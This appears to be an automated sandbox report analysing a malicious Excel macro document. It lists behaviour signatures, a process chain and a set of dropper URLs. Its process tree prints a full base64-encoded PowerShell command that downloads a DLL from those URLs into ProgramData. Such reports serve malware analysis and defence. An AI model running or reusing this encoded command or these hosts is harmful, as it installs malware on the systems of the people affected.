Analysis
- max time kernel
157s - max time network
119s - platform
windows7_x64 - resource
win7-en-20211208 - submitted
08/02/2022, 00:17
General
- Target tmpxpktuos8.xls
- Size 129KB
- Sample220208-ak2saabagj
- SHA256 14ec684c8a2e63fc85ba3093d50a498020cdfbfe544f938e90c8f12deb73c372
Malware Config
Extracted
-
ps1
-
exe.dropper
http://santafetortilla.com/_baks/tUx9/
-
exe.dropper
http://donbaham.com/Home_files/YS0PAZPXcYeraes/
-
exe.dropper
http://barnhart-studios.com/eln-images/Vghg1n/
-
exe.dropper
http://blute.com/3Dtech/jLu8IAnnj3gK9Wc/
-
exe.dropper
http://zenzebra.net/plath/9Q0DBlE/
-
exe.dropper
http://rogerschultz.com/eln-images/u0vT/
-
exe.dropper
http://realacorp.net/PhotoGallery/UwmRHceSGbaCeGF/
-
exe.dropper
http://miniflam.com/eln-images/fSwbQjUMAfGxgdw/
-
exe.dropper
http://marezdecor.com/MarezGallery/sEQxWTpMJ7A8rAtY0D/
-
exe.dropper
http://hollywoodvisual.com/eln-images/HIWl5z/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Office loads VBA resources, possible macro or embedded object present
- Enumerates system info in registry 2 TTPs 1 IoCs
- Modifies Internet Explorer settings 1 TTPs 9 IoCs
- Modifies registry class 64 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious use of SetWindowsHookEx 3 IoCs
- Suspicious use of WriteProcessMemory 12 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpxpktuos8.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript c:\programdata\yhjlswle.vbs2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\programdata\ughldskbhn.bat" "3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAHMAYQBuAHQAYQBmAGUAdABvAHIAdABpAGwAbABhAC4AYwBvAG0ALwBfAGIAYQBrAHMALwB0AFUAeAA5AC8ALABoAHQAdABwADoALwAvAGQAbwBuAGIAYQBoAGEAbQAuAGMAbwBtAC8ASABvAG0AZQBfAGYAaQBsAGUAcwAvAFkAUwAwAFAAQQBaAFAAWABjAFkAZQByAGEAZQBzAC8ALABoAHQAdABwADoALwAvAGIAYQByAG4AaABhAHIAdAAtAHMAdAB1AGQAaQBvAHMALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBWAGcAaABnADEAbgAvACwAaAB0AHQAcAA6AC8ALwBiAGwAdQB0AGUALgBjAG8AbQAvADMARAB0AGUAYwBoAC8AagBMAHUAOABJAEEAbgBuAGoAMwBnAEsAOQBXAGMALwAsAGgAdAB0AHAAOgAvAC8AegBlAG4AegBlAGIAcgBhAC4AbgBlAHQALwBwAGwAYQB0AGgALwA5AFEAMABEAEIAbABFAC8ALABoAHQAdABwADoALwAvAHIAbwBnAGUAcgBzAGMAaAB1AGwAdAB6AC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8AdQAwAHYAVAAvACwAaAB0AHQAcAA6AC8ALwByAGUAYQBsAGEAYwBvAHIAcAAuAG4AZQB0AC8AUABoAG8AdABvAEcAYQBsAGwAZQByAHkALwBVAHcAbQBSAEgAYwBlAFMARwBiAGEAQwBlAEcARgAvACwAaAB0AHQAcAA6AC8ALwBtAGkAbgBpAGYAbABhAG0ALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBmAFMAdwBiAFEAagBVAE0AQQBmAEcAeABnAGQAdwAvACwAaAB0AHQAcAA6AC8ALwBtAGEAcgBlAHoAZABlAGMAbwByAC4AYwBvAG0ALwBNAGEAcgBlAHoARwBhAGwAbABlAHIAeQAvAHMARQBRAHgAVwBUAHAATQBKADcAQQA4AHIAQQB0AFkAMABEAC8ALABoAHQAdABwADoALwAvAGgAbwBsAGwAeQB3AG8AbwBkAHYAaQBzAHUAYQBsAC4AYwBvAG0ALwBlAGwAbgAtAGkAbQBhAGcAZQBzAC8ASABJAFcAbAA1AHoALwAsAGgAdAB0AHAAOgAvAC8AbQBhAHIAYwBvAHcAaQBuAGUALgBjAG8AbQAvAEkAbQBhAGcAZQBzAC8AUwBMAGwAdwBuAHYAUwA3AFUAeABuAHkAbQBtAC8ALABoAHQAdABwADoALwAvAGMAaABwAG8AcABlAHMAYwBvAC4AYwBvAG0ALwBHAGEAbABsAGUAcgB5AC8AdwBQAFkANwBqADIAUwBFADUATQBJAHYALwAsAGgAdAB0AHAAOgAvAC8AbQBvAGQAcwBvAGMAaQBlAHQAZQAuAGMAbwBtAC8AYwBnAGkALwBxAHQAQQBQAC8ALABoAHQAdABwADoALwAvAGIAbwBhAG0AbwByAHAAaAAuAGMAbwBtAC8AYwBnAGkALwBoAFQAYQA1AGkAcAA5ADYAVgBTAGQATgBqAFgALwAsAGgAdAB0AHAAOgAvAC8AYQBuAG4AZQBmAHIAbwBuAHQALgBjAG8AbQAvAGUAbABuAC0AaQBtAGEAZwBlAHMALwBnAEEATgBsAEgALwAiAC4AcwBQAEwASQB0ACgAIgAsACIAKQA7AGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AIgBjADoAXABwAHIAbwBnAHIAYQBtAGQAYQB0AGEAXABiAG4AZQB1AGkAaABsAG8AdwBzAC4AZABsAGwAIgA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/1448-78-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-58-0x000000007273D000-0x0000000072748000-memory.dmp
memory/1448-59-0x00000000758A1000-0x00000000758A3000-memory.dmp
memory/1448-60-0x0000000005C95000-0x0000000005C96000-memory.dmp
memory/1448-61-0x0000000005D70000-0x0000000005E80000-memory.dmp
memory/1448-62-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-63-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-64-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-65-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-66-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-67-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-68-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-69-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-71-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-72-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-73-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-74-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-75-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-76-0x0000000005C95000-0x0000000005C96000-memory.dmp
memory/1448-77-0x0000000000440000-0x0000000000441000-memory.dmp
memory/1448-81-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-55-0x000000002F021000-0x000000002F024000-memory.dmp
memory/1448-80-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-82-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-83-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-84-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-85-0x0000000000440000-0x0000000000441000-memory.dmp
memory/1448-86-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-88-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-89-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-90-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-91-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-92-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-93-0x0000000000440000-0x0000000000441000-memory.dmp
memory/1448-94-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-96-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-97-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-99-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-100-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-98-0x00000000003C0000-0x0000000000467000-memory.dmp
memory/1448-101-0x0000000000440000-0x0000000000441000-memory.dmp
memory/1448-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1448-104-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1448-56-0x0000000071751000-0x0000000071753000-memory.dmp